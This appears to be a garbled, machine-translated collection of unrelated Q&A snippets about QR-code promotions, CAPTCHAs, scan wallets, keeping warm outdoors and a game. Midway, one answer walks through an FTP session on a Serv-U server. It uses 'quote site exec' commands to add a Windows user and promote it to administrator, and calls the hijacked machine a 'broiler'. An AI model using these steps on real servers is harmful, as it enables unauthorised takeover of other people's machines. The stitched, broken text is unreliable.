Why do many activities outside now involve scanning QR codes to give something away? What is the use of scanning their code?

This is a way for merchants to promote their products. In the QR code scanning street of Wangjing SOHO, there are various activities to send gifts by scanning QR codes. Mobile APPs from all walks of life hope to increase the number of downloads and installations through this method.

On the other hand, there are also some code scanning recognition software and code scanning payment software (such as WeChat, Scancode Beast, Alipay and other QR code and barcode recognition software) to conduct product traceability inquiries by identifying barcodes. In order to cultivate consumers' habits in this area, such as commodity transaction payment and other operations, it is necessary to promote them by scanning QR codes and sending gifts. Why do so many things require verification codes? What is the use of verification code?

The role of verification code: effectively prevent this kind of problem from making continuous login attempts for a specific registered user using a specific program to violently crack. In fact, using verification code is a common method for many websites now ( For example, China Merchants Bank's online personal banking and Tencent's QQ community), we have implemented this function in a relatively simple way. Although logging in is a little more troublesome, this function is still necessary and important for the community. However, we still remind everyone to protect their passwords and try to use a password of more than 6 digits mixed with numbers, letters, and symbols. Do not use simple passwords such as 1234 or passwords that are the same or similar to the user name. Don't set a password at will because you just come to i to ask questions. Protecting your own password also protects yourself, lest others steal your account and cause unnecessary trouble to you. ~

(1). Verification codes generally prevent batch registration, which is difficult for the human eye, let alone a machine. Secondly, Baidu Tieba requires you to enter a verification code when posting without logging in, probably to prevent large-scale anonymous replies. Currently, many websites use verification code technology to prevent users from using robots to automatically register, log in, and spam. The so-called verification code is to generate a picture from a string of randomly generated numbers or symbols. Some interference pixels are added to the picture (to prevent OCR). The user can identify the verification code information with the naked eye, enter the form and submit it to the website for verification. Verification A function can only be used after success.

(2). Verification codes are generally required to register user IDs and in major forums

(3). Common verification codes

1. Four digits, a random one-digit string, the most primitive verification code, and the verification effect is almost zero. 2. CSDN website users use GIF format to log in, which is the currently commonly used random digital image verification code. The characters on the picture are quite satisfactory, and the verification effect is better than the previous one. People without basic knowledge of graphics and imaging cannot break it! It's a pity that the program to read it seems to have been released in the forum on the first day of using it in CSDN. It's really pitiful!

3. QQ website users use PNG format to log in. The pictures use random numbers + random uppercase English letters. The whole composition is a bit arrogant. Every time it is rearranged, the position of each character will change. !Sometimes the pictures that come out can’t be recognized by the human eye, it’s amazing... 4. When applying for MS hotmail, it is in BMP format, random numbers + random uppercase English letters + random interference pixels + random positions.

5. Google's Gmail registration is in JPG format, with random English letters + random colors + random positions + random lengths. 6. Other major forums are in XBM format and the content is random.

(4) Significance: Many websites use verification code technology to prevent users from using robots to automatically register, log in, and spam. The so-called verification code is to generate a picture from a string of randomly generated numbers or symbols, and add some interference pixels to the picture (to prevent OCR). The user can identify the verification code information with the naked eye, enter the form and submit it to the website for verification. A function can only be used after success. What does 31Conference.com do? I saw that many events have their advertisements?

They are responsible for assisting the conference, such as various sign-ins before the conference, interactive lottery draws during the conference, and analysis of personnel statistics after the conference. They seem to be one-stop. If there are any events, you can post them here. It feels like a pretty mature platform. After all, it was done earlier. What is the use of scanning the wallet? Ask for knowledge.

Two words, convenient.

Take a mobile phone with you when you go out, and install a code scanning wallet APP on the mobile phone. What is the use of scanning the machine's FTP password?

Haha. You are so lucky... If you have the administrator's permission, log in using the FTP login. .Add an administrator. You can also use CMD: as follows:>

ftp>open ip

Connected to ip.

220 Serv-U FTP Server v4.0 for WinSock ready...

User (ip:(none)): ftpuser Enter ftp user

331 User name okay, please send plete E-mail address as password.< /p>

Password:password password

230 User logged in, proceed.

ftp> cd winnt Enter the winnt directory of win2k, if it is winxp or win 2003, it should is the windows directory.

250 Directory changed to /WINNT

ftp>cd system32 Enter the system32 directory

250 Directory changed to /WINNT/system32

ftp >quote site exec .exe user /add Use the command to add a new user.

200 EXEC mand suessful (TID=33).

ftp>quote site exec .exe localhost administrators /add Promote to super user

If not. .You can also increase the permission.. There are such tutorials all over the Internet

Choose different methods according to different situations.

Haha. There is another broiler in the world- -! < /p>

Scan the QR code on Sina Weibo. What is the use of scanning the QR code?

Each Weibo number will have a QR code, which you can scan to add the other person. It’s the same as Scan on WeChat. What’s the use of scanning the QR code of the Benefit APP?

Scan the QR code of the Benefit app to download the Benefit app, which allows you to get more discounts, and it also allows you to shake benefits and get free lunch, travel, and breakfast. What should you use to keep warm when you are selling things outside?

You can use a hot water bottle, and of course you can also use thermal tape to keep warm.

The thickness of the matching clothes must be appropriate, so that it can have a certain effect of keeping warm.

Why are there so many activities in CF now?

The activities of each merchant are not just benefits, but let you try many weapons. When you like them, you need to buy them